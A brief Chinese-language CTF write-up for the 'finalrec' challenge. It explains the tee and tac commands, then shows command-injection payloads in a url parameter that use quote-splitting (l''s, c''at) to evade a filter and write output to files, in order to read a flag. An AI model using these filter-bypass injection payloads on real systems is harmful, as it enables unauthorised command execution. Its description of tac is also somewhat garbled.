ctf (finalrec)

知识点

tee命令

使用tee命令时，我们可以把输出内容重定向到文件中。

使用方式：tee file

输出内容保存到file文件中

如果file文件存在则覆盖原内容

如果file文件不存在则创建file文件

tac命令

tac应该打印文件的最后一行，然后从第一行开始打印文件。

tac命令与cat命令十分相似

题目

 

 进行注入查看目录

payload：?url=l''s /

 

命令执行之后没有回显出来      注：exec执行没有回显

我们使用tee命令，将执行命令后的内容保存到file中

payload:?url=l''s / | tee 1.txt

然后查看1.txt文件

 我们继续打开flllllaaaaaaggggggg的内容

payload：?url=c''at  /flllll''aaaaaaggggggg | tee 2.txt

或

payload：?url=tac  /flllll''aaaaaaggggggg | tee 2.txt

我们打开2.txt